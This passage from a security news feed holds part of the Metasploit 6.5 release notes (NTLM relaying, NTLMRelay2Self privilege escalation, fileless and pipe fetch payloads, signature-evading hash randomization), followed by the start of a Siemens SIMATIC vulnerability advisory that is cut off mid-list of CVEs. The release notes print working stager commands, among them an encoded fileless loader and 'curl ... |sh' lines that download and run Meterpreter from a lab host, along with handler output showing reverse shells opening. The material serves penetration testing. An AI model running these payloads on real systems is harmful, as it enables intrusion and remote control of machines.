msf &gt; mcp start RpcUser=msf RpcPass=secret</pre><h2>Relaying Improvements</h2><p>Over the past few years, Metasploit has been making incremental improvements to its NTLM relaying capabilities. While NTLM is considered a legacy authentication protocol, it remains commonly deployed in enterprise environments. This release continues that trend by adding the second NTLM relay server to the framework; HTTP(S). Users can now start a malicious HTTP server that will prompt for authentication and relay it to one or more user-specified targets.</p><p></p><p>Users can leverage this capability with the new <span data-type="inlineCode">auxiliary/server/relay/http_to_smb</span> and <span data-type="inlineCode">auxiliary/server/relay/http_to_ldap</span> modules. These will open SMB and LDAP sessions respectively and allow the user to interact with the target server in the context of the user whose credentials were relayed. Interactive protocol sessions have been around for a couple of years now and offer users a more fault-tolerant way to interact with targets when compared to the old “only psexec” option. SMB sessions have also been updated with sessions -u support, enabling users to upgrade an interactive SMB session to a Meterpreter session using psexec when desired.</p><h3>NTLMRelay2Self</h3><p>The new capability to relay from an HTTP server to another target opens the possibility for unique attack workflows. One such technique is known as NTLMRelay2Self. This multi-step workflow involves coercing a target to authenticating to itself over HTTP which creates a relaying opportunity. After exploiting that relay opportunity, an attacker can establish an LDAP session to a domain controller, authenticated as the machine account. From this position they can leverage RBCD or Shadow Credentials to elevate their permissions on the target workstation (not the domain controller).</p><p>While all of these steps can be performed manually, Metasploit added a new <span data-type="inlineCode">exploits/windows/local/ntlm_relay_2_self</span> module to automate this entire process, performing the relay step as well as the others in a single action. This particular attack technique does not have a patch but does require a local user on a domain joined workstation in order to exploit; effectively making it an evergreen LPE.</p><h2>Fetch Payload Improvements</h2><p>Fetch payloads were created to support users in writing exploits targeting the wave of new command injection vulnerabilities we saw coming in several years ago. They allow a user to generate a small command-based stager that runs on a target host and calls back to download a full binary payload to run it, giving users the ability to launch a fully-featured binary (EXE, ELF, or DLL) payload using only a single command injection. Three new features we added to extend the utility for Fetch Payloads to our users include Fileless Fetch Payloads, Pipe Fetch Payloads, and support for a new multi pseudoarchitecture payload. Fileless Fetch payloads are wonderfully named; previously, when the Fetch command stager ran, the binary payload was saved to a location on disk and launched. Fileless Fetch Payloads leverage a feature within the Linux Kernel after 3.17 that allows us to write a file directly to memory using the memfd_create syscall and execute it, so no files ever touch the target disk. There are three supported ways to use Fetch Fileless: Python3.8+, shell, and shell-search. Each uses a different technique to create a file in memory and launch it.</p><p>Fetch Pipe was created in response to several exploits that we discovered had very small command size requirements, and we found ourselves trying to shrink the command to fetch the binary payload. Fetch Pipe Payloads simply add an extra Fetch command stager so that the user only needs to run a very small command on the remote host that requests a larger command, which, in turn, requests the binary payload. It allowed us to drop the size of the payloads dramatically, and opened the door to create more complex and feature-rich Fetch command stagers since we could use the tiny “pre-stager” rather than a stager with added length, complexity, and encoding requirements.</p><p>For example, here we generate the command for a fileless fetch payload:</p><pre>msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) &gt; generate -f raw
[*] Command to execute on target: echo -n 'd3JpdGVieXRlcyAoKSB7IHByaW50ZiBcXCUwM28gIiRAIiA7IH07dmRzb19hZGRyPSQoKDB4JChncmVwIC1GICJbdmRzb10iIC9wcm9jLyQkL21hcHMgfCBjdXQgLWQnLScgLWYxKSkpO2ptcD0iNDhiOCIkKGVjaG8gJChwcmludGYgJTAxNnggJHZkc29fYWRkcikgfCByZXYgfCBzZWQgLUUgJ3MvKC4pKC4pL1wyXDEvZycpImZmZTAiO3NjPSc0ODMxZjY1NjU0NWY0OGM3YzBjMWZlZmZmZjQ4ZjdkODBmMDU0ODg5YzdiMDRkMGYwNTZhMjI1ODBmMDUnO3JlYWQgc3lzY2FsbF9pbmZvIDwgL3Byb2Mvc2VsZi9zeXNjYWxsO2FkZHI9JCgoJChlY2hvICRzeXNjYWxsX2luZm8gfCBjdXQgLWQnICcgLWY5KSkpO2V4ZWMgMz4vcHJvYy9zZWxmL21lbTtkZCBicz0xIHNraXA9JHZkc29fYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJHNjIHwgc2VkICdzLy5cezJcfS8weCYgL2cnYCkiID4mMztleGVjIDM+Ji07ZXhlYyAzPi9wcm9jL3NlbGYvbWVtO2RkIGJzPTEgc2tpcD0kYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJGptcCB8IHNlZCAncy8uXHsyXH0vMHgmIC9nJ2ApIiA+JjM7' | base64 -d | ${SHELL} &amp; cd /proc/$!;og_process=$!;sleep 2;FOUND=0;if [ $FOUND -eq 0 ];then for f in $(find ./fd -type l -perm u=rwx 2&gt;/dev/null);do if [ $(ls -al $f | grep -o "memfd" &gt;/dev/null; echo $?) -eq "0" ];then if $(curl -so $f http://10.5.135.210:8080/20s16UxqPChr1I-hZk-vRg &gt;/dev/null);then $f &amp; FOUND=1;break;fi;fi;done;fi;sleep 2;kill -9 $og_process;
echo -n 'd3JpdGVieXRlcyAoKSB7IHByaW50ZiBcXCUwM28gIiRAIiA7IH07dmRzb19hZGRyPSQoKDB4JChncmVwIC1GICJbdmRzb10iIC9wcm9jLyQkL21hcHMgfCBjdXQgLWQnLScgLWYxKSkpO2ptcD0iNDhiOCIkKGVjaG8gJChwcmludGYgJTAxNnggJHZkc29fYWRkcikgfCByZXYgfCBzZWQgLUUgJ3MvKC4pKC4pL1wyXDEvZycpImZmZTAiO3NjPSc0ODMxZjY1NjU0NWY0OGM3YzBjMWZlZmZmZjQ4ZjdkODBmMDU0ODg5YzdiMDRkMGYwNTZhMjI1ODBmMDUnO3JlYWQgc3lzY2FsbF9pbmZvIDwgL3Byb2Mvc2VsZi9zeXNjYWxsO2FkZHI9JCgoJChlY2hvICRzeXNjYWxsX2luZm8gfCBjdXQgLWQnICcgLWY5KSkpO2V4ZWMgMz4vcHJvYy9zZWxmL21lbTtkZCBicz0xIHNraXA9JHZkc29fYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJHNjIHwgc2VkICdzLy5cezJcfS8weCYgL2cnYCkiID4mMztleGVjIDM+Ji07ZXhlYyAzPi9wcm9jL3NlbGYvbWVtO2RkIGJzPTEgc2tpcD0kYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJGptcCB8IHNlZCAncy8uXHsyXH0vMHgmIC9nJ2ApIiA+JjM7' | base64 -d | ${SHELL} &amp; cd /proc/$!;og_process=$!;sleep 2;FOUND=0;if [ $FOUND -eq 0 ];then for f in $(find ./fd -type l -perm u=rwx 2&gt;/dev/null);do if [ $(ls -al $f | grep -o "memfd" &gt;/dev/null; echo $?) -eq "0" ];then if $(curl -so $f http://10.5.135.210:8080/20s16UxqPChr1I-hZk-vRg &gt;/dev/null);then $f &amp; FOUND=1;break;fi;fi;done;fi;sleep 2;kill -9 $og_process;</pre><p>Here is that same command with fetch_pipe enabled:</p><pre>msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) &gt; set fetch_pipe true 
fetch_pipe =&gt; true
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) &gt; set fetch_uripath x
fetch_uripath =&gt; x
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) &gt; generate -f raw
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
curl -s http://10.5.135.210:8080/x|sh</pre><p><br>By enabling the fetch pipe option, our payload to run on the target went from 2,374 characters to 38.</p><p>The final new feature added to Fetch Payloads in 6.5 is support for a new multi pseudoarchitecture. The new multi pseudoarchitecture allows users to generate a Fetch payload command stager that will run and report back the architecture of the target host while it requests the binary payload, allowing the Fetch Handler to serve a payload that matches the target architecture. This is incredibly useful during the exploitation of modern Linux hardware, as a Linux host could be running on one of many architectures from x86_64 to ARM. The new multi pseudoarch allows a user to send a payload in an exploit to a Linux host and have it “just work” regardless of the underlying architecture, thus eliminating the users need to know (or correctly guess).</p><p>Here is an example of generating a Fetch Multi payload and handler, then running the Fetch command stager on several different Linux targets, each running a different architecture:</p><pre>msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; show options

Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces


View the full module info with the info, or info -d command.

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0

[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -&gt; 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -&gt; 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -&gt; 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt;</pre><p>As you can see, the same short command (<span data-type="inlineCode">curl -s http://10.5.135.210:8080/x|sh</span>) with the same handler serves the corresponding binary payload to ARMLE, AARCH64, and MIPS64-based Linux hosts.</p><h2>Block API Hashes Are Randomized</h2><p>The <span data-type="inlineCode">block API</span> is a critical piece of shellcode that is the foundation of all of Metasploit's 32-bit and 64-bit payloads. It enables the shellcode author to invoke win32 API methods using a 32-bit hash of the method and module name. It’s been over 5 years since <a href="https://github.com/rapid7/metasploit-framework/pull/13832">Metasploit started randomizing</a> this piece of shellcode so its 140+ static bytes were no longer trivial signature fodder. What remained however were static the 32-bit API hashes, whose usage was periodically the subject of various reports. This year, Metasploit updated the block API itself to allow the 32-bit hashes to also be randomized. Now each time the block API is generated, not only are the instructions shuffled but the hashes used to invoke win32 API methods are randomized.</p><h2>ATT&amp;CK Metadata</h2><p>When you have about 4500 exploit auxiliary and post modules, discoverability can be a real problem. One thing Metasploit often deals with is ensuring that users have optimal means to find what they are looking for. Historically this has manifested itself as search improvements and even an <a href="https://github.com/rapid7/metasploit-framework/blob/master/plugins/fzuse.rb">fzf plugin</a>. One thing users often need to do however is emulate real world threat actors. A substantial amount of threat intelligence <a href="https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain/#:~:text=the%20lineage%20assessment.-,Mitigation%20guidance,-MITRE%20ATT%26CK">provides these</a> techniques while documenting the attack chains. Metasploit has begun tagging our own modules with ATT&amp;CK tags to enable users to easily find modules that leverage a particular technique. To search for a module, use the <span data-type="inlineCode">att&amp;ck</span> search modifier. For example to find all modules that leverage <a href="https://attack.mitre.org/techniques/T1059/001/">T1059.001 (Command and Scripting Interpreter: PowerShell)</a> use <span data-type="inlineCode">att&amp;ck:T1059.001</span>. The hierarchy is also honored, so to search more broadly for <a href="https://attack.mitre.org/techniques/T1059/">T1059 (Command and Scripting Interpreter)</a> use <span data-type="inlineCode">att&amp;ck:T1059</span> and additional modules such as exploit/windows/mysql/mysql_mof will be included in the search results.</p><h2>Conclusion</h2><p>Metasploit 6.5 represents an evolution in the framework, delivering a wide array of new capabilities designed to improve both usability and the realism of modern security testing. From the highly requested integration of Malleable C2 profiles and our new Metasploit MCP Server to advanced NTLM relaying, enhanced fetch payload utilities, and the introduction of MITRE ATT&amp;CK tagging, this release is built to support increasingly complex and automated workflows. We look forward to seeing how these tools help our community continue to push the boundaries of vulnerability validation and threat emulation. Thank you to all the contributors who helped make this release possible.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP]]></title>
<description><![CDATA[View CSAF
Summary
Multiple vulnerabilities have been identified in the additional GNU/Linux subsystem of the firmware version V3.1.6 for the SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP (incl. SIPLUS variant). Siemens is preparing fix versions and recommends specific countermeasures for products where...]]></description>
<link>https://tsecurity.de/de/3697611/it-security-nachrichten/siemens-simatic-s7-1500-cpu-1518f-4-pndp-mfp/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697611/it-security-nachrichten/siemens-simatic-s7-1500-cpu-1518f-4-pndp-mfp/</guid>
<pubDate>Mon, 03 Aug 2026 00:06:09 +0200</pubDate>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-209-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Multiple vulnerabilities have been identified in the additional GNU/Linux subsystem of the firmware version V3.1.6 for the SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP (incl. SIPLUS variant). Siemens is preparing fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.</strong></p>
<p>The following versions of Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP are affected:</p>
<ul>
<li>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) vers:intdot/&gt;=3.1.6 (CVE-2021-41617, CVE-2023-28531, CVE-2023-51384, CVE-2023-52927, CVE-2024-26783, CVE-2024-27056, CVE-2024-28956, CVE-2024-36903, CVE-2024-36927, CVE-2024-42079, CVE-2024-46786, CVE-2024-47736, CVE-2024-47809, CVE-2024-49968, CVE-2024-49994, CVE-2024-49998, CVE-2024-50014, CVE-2024-50063, CVE-2024-50164, CVE-2024-50298, CVE-2024-53124, CVE-2024-53170, CVE-2024-54458, CVE-2024-56631, CVE-2024-56703, CVE-2024-56719, CVE-2024-57917, CVE-2024-57924, CVE-2024-57973, CVE-2024-57977, CVE-2024-57979, CVE-2024-58011, CVE-2024-58016, CVE-2024-58020, CVE-2024-58056, CVE-2024-58058, CVE-2024-58061, CVE-2024-58086, CVE-2025-21645, CVE-2025-21648, CVE-2025-21655, CVE-2025-21676, CVE-2025-21682, CVE-2025-21702, CVE-2025-21705, CVE-2025-21706, CVE-2025-21707, CVE-2025-21718, CVE-2025-21731, CVE-2025-21745, CVE-2025-21758, CVE-2025-21760, CVE-2025-21764, CVE-2025-21765, CVE-2025-21780, CVE-2025-21795, CVE-2025-21796, CVE-2025-21802, CVE-2025-21814, CVE-2025-21846, CVE-2025-21853, CVE-2025-21861, CVE-2025-21864, CVE-2025-21867, CVE-2025-21875, CVE-2025-21887, CVE-2025-21913, CVE-2025-21919, CVE-2025-21925, CVE-2025-21926, CVE-2025-21938, CVE-2025-21959, CVE-2025-21999, CVE-2025-22005, CVE-2025-22015, CVE-2025-22055, CVE-2025-22056, CVE-2025-22060, CVE-2025-22083, CVE-2025-22090, CVE-2025-22095, CVE-2025-22107, CVE-2025-22111, CVE-2025-22121, CVE-2025-23136, CVE-2025-23143, CVE-2025-37785, CVE-2025-37909, CVE-2025-37917, CVE-2025-37945, CVE-2025-37959, CVE-2025-37964, CVE-2025-37972, CVE-2025-37980, CVE-2025-38125, CVE-2025-38162, CVE-2025-38192, CVE-2025-38201, CVE-2025-38232, CVE-2025-38322, CVE-2025-38591, CVE-2025-38614, CVE-2025-38681, CVE-2025-38704, CVE-2025-38721, CVE-2025-38725, CVE-2025-38727, CVE-2025-38732, CVE-2025-38736, CVE-2025-39681, CVE-2025-39691, CVE-2025-39721, CVE-2025-39748, CVE-2025-39756, CVE-2025-39764, CVE-2025-39770, CVE-2025-39773, CVE-2025-39782, CVE-2025-39795, CVE-2025-39826, CVE-2025-39827, CVE-2025-39845, CVE-2025-39866, CVE-2025-39871, CVE-2025-39931, CVE-2025-39953, CVE-2025-39955, CVE-2025-39964, CVE-2025-39977, CVE-2025-39978, CVE-2025-39980, CVE-2025-40022, CVE-2025-40070, CVE-2025-40078, CVE-2025-40080, CVE-2025-40105, CVE-2025-40135, CVE-2025-40149, CVE-2025-40219, CVE-2025-40261, CVE-2025-40300, CVE-2025-61984, CVE-2025-61985, CVE-2025-68206, CVE-2025-68261, CVE-2025-68264, CVE-2025-68265, CVE-2025-68266, CVE-2025-68291, CVE-2025-68337, CVE-2025-68349, CVE-2025-68363, CVE-2025-68371, CVE-2025-68724, CVE-2025-68725, CVE-2025-68742, CVE-2025-68764, CVE-2025-68773, CVE-2025-68776, CVE-2025-68782, CVE-2025-68787, CVE-2025-68788, CVE-2025-68798, CVE-2025-68803, CVE-2025-68814, CVE-2025-68816, CVE-2025-68818, CVE-2025-68820, CVE-2025-71064, CVE-2025-71075, CVE-2025-71079, CVE-2025-71085, CVE-2025-71086, CVE-2025-71088, CVE-2025-71095, CVE-2025-71097, CVE-2025-71098, CVE-2025-71104, CVE-2025-71112, CVE-2025-71113, CVE-2025-71114, CVE-2025-71120, CVE-2025-71123, CVE-2025-71131, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71185, CVE-2025-71186, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71197, CVE-2025-71221, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2026-3497, CVE-2026-22977, CVE-2026-22979, CVE-2026-22980, CVE-2026-22982, CVE-2026-22992, CVE-2026-22994, CVE-2026-23003, CVE-2026-23005, CVE-2026-23010, CVE-2026-23011, CVE-2026-23019, CVE-2026-23026, CVE-2026-23038, CVE-2026-23054, CVE-2026-23060, CVE-2026-23083, CVE-2026-23084, CVE-2026-23086, CVE-2026-23087, CVE-2026-23095, CVE-2026-23100, CVE-2026-23103, CVE-2026-23110, CVE-2026-23111, CVE-2026-23113, CVE-2026-23154, CVE-2026-23204, CVE-2026-23231, CVE-2026-23242, CVE-2026-23243, CVE-2026-23245, CVE-2026-23270, CVE-2026-23271, CVE-2026-23273, CVE-2026-23274, CVE-2026-23277, CVE-2026-23284, CVE-2026-23287, CVE-2026-23290, CVE-2026-23293, CVE-2026-23300, CVE-2026-23304, CVE-2026-23319, CVE-2026-23321, CVE-2026-23335, CVE-2026-23340, CVE-2026-23343, CVE-2026-23351, CVE-2026-23359, CVE-2026-23365, CVE-2026-23368, CVE-2026-23370, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23391, CVE-2026-23392, CVE-2026-23397, CVE-2026-23398, CVE-2026-23414, CVE-2026-23422, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23446, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23463, CVE-2026-23474, CVE-2026-23475, CVE-2026-27135, CVE-2026-31389, CVE-2026-31391, CVE-2026-31396, CVE-2026-31402, CVE-2026-31403, CVE-2026-31411, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31427, CVE-2026-31428, CVE-2026-31431, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31450, CVE-2026-31452, CVE-2026-31466, CVE-2026-31469, CVE-2026-31485, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31503, CVE-2026-31504, CVE-2026-31507, CVE-2026-31508, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31533, CVE-2026-31546, CVE-2026-31555, CVE-2026-31563, CVE-2026-31565, CVE-2026-31628, CVE-2026-31634, CVE-2026-31649, CVE-2026-31651, CVE-2026-31658, CVE-2026-31664, CVE-2026-31665, CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31674, CVE-2026-31680, CVE-2026-31682, CVE-2026-31737, CVE-2026-31752, CVE-2026-31761, CVE-2026-31768, CVE-2026-40355, CVE-2026-41989, CVE-2026-43011, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43033, CVE-2026-43035, CVE-2026-43038, CVE-2026-43040, CVE-2026-43057, CVE-2026-43284, CVE-2026-46174, CVE-2026-46300, CVE-2026-46333)</li>
<li>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) vers:intdot/&gt;=3.1.6 (CVE-2021-41617, CVE-2023-28531, CVE-2023-51384, CVE-2023-52927, CVE-2024-26783, CVE-2024-27056, CVE-2024-28956, CVE-2024-36903, CVE-2024-36927, CVE-2024-42079, CVE-2024-46786, CVE-2024-47736, CVE-2024-47809, CVE-2024-49968, CVE-2024-49994, CVE-2024-49998, CVE-2024-50014, CVE-2024-50063, CVE-2024-50164, CVE-2024-50298, CVE-2024-53124, CVE-2024-53170, CVE-2024-54458, CVE-2024-56631, CVE-2024-56703, CVE-2024-56719, CVE-2024-57917, CVE-2024-57924, CVE-2024-57973, CVE-2024-57977, CVE-2024-57979, CVE-2024-58011, CVE-2024-58016, CVE-2024-58020, CVE-2024-58056, CVE-2024-58058, CVE-2024-58061, CVE-2024-58086, CVE-2025-21645, CVE-2025-21648, CVE-2025-21655, CVE-2025-21676, CVE-2025-21682, CVE-2025-21702, CVE-2025-21705, CVE-2025-21706, CVE-2025-21707, CVE-2025-21718, CVE-2025-21731, CVE-2025-21745, CVE-2025-21758, CVE-2025-21760, CVE-2025-21764, CVE-2025-21765, CVE-2025-21780, CVE-2025-21795, CVE-2025-21796, CVE-2025-21802, CVE-2025-21814, CVE-2025-21846, CVE-2025-21853, CVE-2025-21861, CVE-2025-21864, CVE-2025-21867, CVE-2025-21875, CVE-2025-21887, CVE-2025-21913, CVE-2025-21919, CVE-2025-21925, CVE-2025-21926, CVE-2025-21938, CVE-2025-21959, CVE-2025-21999, CVE-2025-22005, CVE-2025-22015, CVE-2025-22055, CVE-2025-22056, CVE-2025-22060, CVE-2025-22083, CVE-2025-22090, CVE-2025-22095, CVE-2025-22107, CVE-2025-22111, CVE-2025-22121, CVE-2025-23136, CVE-2025-23143, CVE-2025-37785, CVE-2025-37909, CVE-2025-37917, CVE-2025-37945, CVE-2025-37959, CVE-2025-37964, CVE-2025-37972, CVE-2025-37980, CVE-2025-38125, CVE-2025-38162, CVE-2025-38192, CVE-2025-38201, CVE-2025-38232, CVE-2025-38322, CVE-2025-38591, CVE-2025-38614, CVE-2025-38681, CVE-2025-38704, CVE-2025-38721, CVE-2025-38725, CVE-2025-38727, CVE-2025-38732, CVE-2025-38736, CVE-2025-39681, CVE-2025-39691, CVE-2025-39721, CVE-2025-39748, CVE-2025-39756, CVE-2025-39764, CVE-2025-39770, CVE-2025-39773, CVE-2025-39782, CVE-2025-39795, CVE-2025-39826, CVE-2025-39827, CVE-2025-39845, CVE-2025-39866, CVE-2025-39871, CVE-2025-39931, CVE-2025-39953, CVE-2025-39955, CVE-2025-39964, CVE-2025-39977, CVE-2025-39978, CVE-2025-39980, CVE-2025-40022, CVE-2025-40070, CVE-2025-40078, CVE-2025-40080, CVE-2025-40105, CVE-2025-40135, CVE-2025-40149, CVE-2025-40219, CVE-2025-40261, CVE-2025-40300, CVE-2025-61984, CVE-2025-61985, CVE-2025-68206, CVE-2025-68261, CVE-2025-68264, CVE-2025-68265, CVE-2025-68266, CVE-2025-68291, CVE-2025-68337, CVE-2025-68349, CVE-2025-68363, CVE-2025-68371, CVE-2025-68724, CVE-2025-68725, CVE-2025-68742, CVE-2025-68764, CVE-2025-68773, CVE-2025-68776, CVE-2025-68782, CVE-2025-68787, CVE-2025-68788, CVE-2025-68798, CVE-2025-68803, CVE-2025-68814, CVE-2025-68816, CVE-2025-68818, CVE-2025-68820, CVE-2025-71064, CVE-2025-71075, CVE-2025-71079, CVE-2025-71085, CVE-2025-71086, CVE-2025-71088, CVE-2025-71095, CVE-2025-71097, CVE-2025-71098, CVE-2025-71104, CVE-2025-71112, CVE-2025-71113, CVE-2025-71114, CVE-2025-71120, CVE-2025-71123, CVE-2025-71131, CVE-2025-71161, CVE-2025-71162, CVE-2025-71163, CVE-2025-71185, CVE-2025-71186, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191, CVE-2025-71197, CVE-2025-71221, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2026-3497, CVE-2026-22977, CVE-2026-22979, CVE-2026-22980, CVE-2026-22982, CVE-2026-22992, CVE-2026-22994, CVE-2026-23003, CVE-2026-23005, CVE-2026-23010, CVE-2026-23011, CVE-2026-23019, CVE-2026-23026, CVE-2026-23038, CVE-2026-23054, CVE-2026-23060, CVE-2026-23083, CVE-2026-23084, CVE-2026-23086, CVE-2026-23087, CVE-2026-23095, CVE-2026-23100, CVE-2026-23103, CVE-2026-23110, CVE-2026-23111, CVE-2026-23113, CVE-2026-23154, CVE-2026-23204, CVE-2026-23231, CVE-2026-23242, CVE-2026-23243, CVE-2026-23245, CVE-2026-23270, CVE-2026-23271, CVE-2026-23273, CVE-2026-23274, CVE-2026-23277, CVE-2026-23284, CVE-2026-23287, CVE-2026-23290, CVE-2026-23293, CVE-2026-23300, CVE-2026-23304, CVE-2026-23319, CVE-2026-23321, CVE-2026-23335, CVE-2026-23340, CVE-2026-23343, CVE-2026-23351, CVE-2026-23359, CVE-2026-23365, CVE-2026-23368, CVE-2026-23370, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23391, CVE-2026-23392, CVE-2026-23397, CVE-2026-23398, CVE-2026-23414, CVE-2026-23422, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23446, CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23463, CVE-2026-23474, CVE-2026-23475, CVE-2026-27135, CVE-2026-31389, CVE-2026-31391, CVE-2026-31396, CVE-2026-31402, CVE-2026-31403, CVE-2026-31411, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31427, CVE-2026-31428, CVE-2026-31431, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448, CVE-2026-31450, CVE-2026-31452, CVE-2026-31466, CVE-2026-31469, CVE-2026-31485, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31503, CVE-2026-31504, CVE-2026-31507, CVE-2026-31508, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31533, CVE-2026-31546, CVE-2026-31555, CVE-2026-31563, CVE-2026-31565, CVE-2026-31628, CVE-2026-31634, CVE-2026-31649, CVE-2026-31651, CVE-2026-31658, CVE-2026-31664, CVE-2026-31665, 